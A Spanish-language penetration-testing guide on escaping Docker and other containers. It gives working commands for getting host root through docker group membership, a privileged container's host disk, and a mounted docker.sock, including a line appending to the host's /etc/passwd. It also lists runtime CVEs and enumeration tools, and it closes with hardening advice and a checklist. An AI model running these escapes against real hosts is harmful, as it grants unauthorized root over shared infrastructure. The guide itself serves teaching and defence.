Saltearse al contenido

Escape de contenedores y Docker

Los contenedores (Docker, containerd, LXC) aíslan procesos, pero ese aislamiento es más débil que el de una VM: comparten el kernel del host. Para un atacante hay dos escenarios clave: estar en el grupo docker de un host (= root trivial en el host) o estar dentro de un contenedor y querer escapar al host. Ambos son vectores de escalada muy habituales, especialmente en servidores de desarrollo y CI/CD.

Escenario 1: pertenecer al grupo docker (= root)

Sección titulada «Escenario 1: pertenecer al grupo docker (= root)»

Si tu usuario está en el grupo docker, puedes lanzar contenedores con el filesystem del host montado → root trivial:

id # ¿docker en los grupos?
# montar la raíz del host en un contenedor y chrootear
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# ya eres root sobre el filesystem del host; o:
docker run -v /:/mnt --rm -it alpine sh -c 'echo "..." >> /mnt/etc/passwd'

Esto no es un “escape”: es que el grupo docker equivale a root en el host por diseño. Lo mismo aplica a lxd/lxc (montar el disco del host en un contenedor privilegiado).

Escenario 2: escapar desde dentro de un contenedor

Sección titulada «Escenario 2: escapar desde dentro de un contenedor»

Primero, ¿estás en un contenedor y cómo de confinado?

# ¿estoy en un contenedor?
cat /proc/1/cgroup ; ls -la /.dockerenv
# ¿privilegiado? ¿qué capabilities/montajes tengo?
capsh --print ; cat /proc/self/status | grep Cap
mount ; cat /proc/mounts

Un contenedor privilegiado tiene casi todas las capabilities y acceso a los dispositivos del host → escape sencillo:

# montar el disco del host (visible como /dev/sdaX) y leer/escribir
fdisk -l ; mount /dev/sda1 /mnt ; chroot /mnt
# o abusar de cgroups release_agent para ejecutar en el host

Si el socket de Docker (/var/run/docker.sock) está montado dentro del contenedor, controlas el daemon del host → equivalente a root en el host:

ls -la /var/run/docker.sock
# con acceso al socket, lanzas un contenedor que monta / del host
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH dentro del contenedor abren vías de escape (p. ej. abusar de release_agent de cgroups, o leer el filesystem del host).

runC (CVE-2019-5736) sobrescribir el binario runc del host -> escape
CVE-2022-0492 cgroups v1 release_agent -> escape
Dirty Pipe/COW si el kernel es vulnerable, escape vía kernel (ver lin-kernel)
deepce.sh # enumera y automatiza escapes de contenedor
amicontained # qué capabilities/seccomp/restricciones tengo
linpeas (modo contenedor)
  • No añadir usuarios al grupo docker sin entender que es equivalente a root; usar sudo acotado o rootless Docker.
  • No --privileged salvo necesidad extrema; no montar docker.sock dentro de contenedores.
  • Drop capabilities (--cap-drop ALL y añadir solo las necesarias), seccomp/AppArmor por defecto, usuario no-root dentro del contenedor (USER).
  • Read-only rootfs, no montar rutas sensibles del host, user namespaces (remapear root).
  • Parchear el runtime (runc) y el kernel; escanear imágenes; mínimo privilegio en CI/CD.
  • ¿Pertenezco al grupo docker/lxd? → root trivial en el host
  • ¿Estoy en un contenedor? (/.dockerenv, /proc/1/cgroup)
  • ¿Privilegiado? capabilities y montajes (capsh/amicontained)
  • ¿docker.sock montado dentro del contenedor?
  • Disco del host accesible (/dev/sdaX) → mount/chroot
  • Capabilities peligrosas → release_agent/cgroups
  • CVEs de runtime (runc CVE-2019-5736, CVE-2022-0492)
  • Blue: ¿cap-drop, seccomp, sin privileged, sin socket, rootless?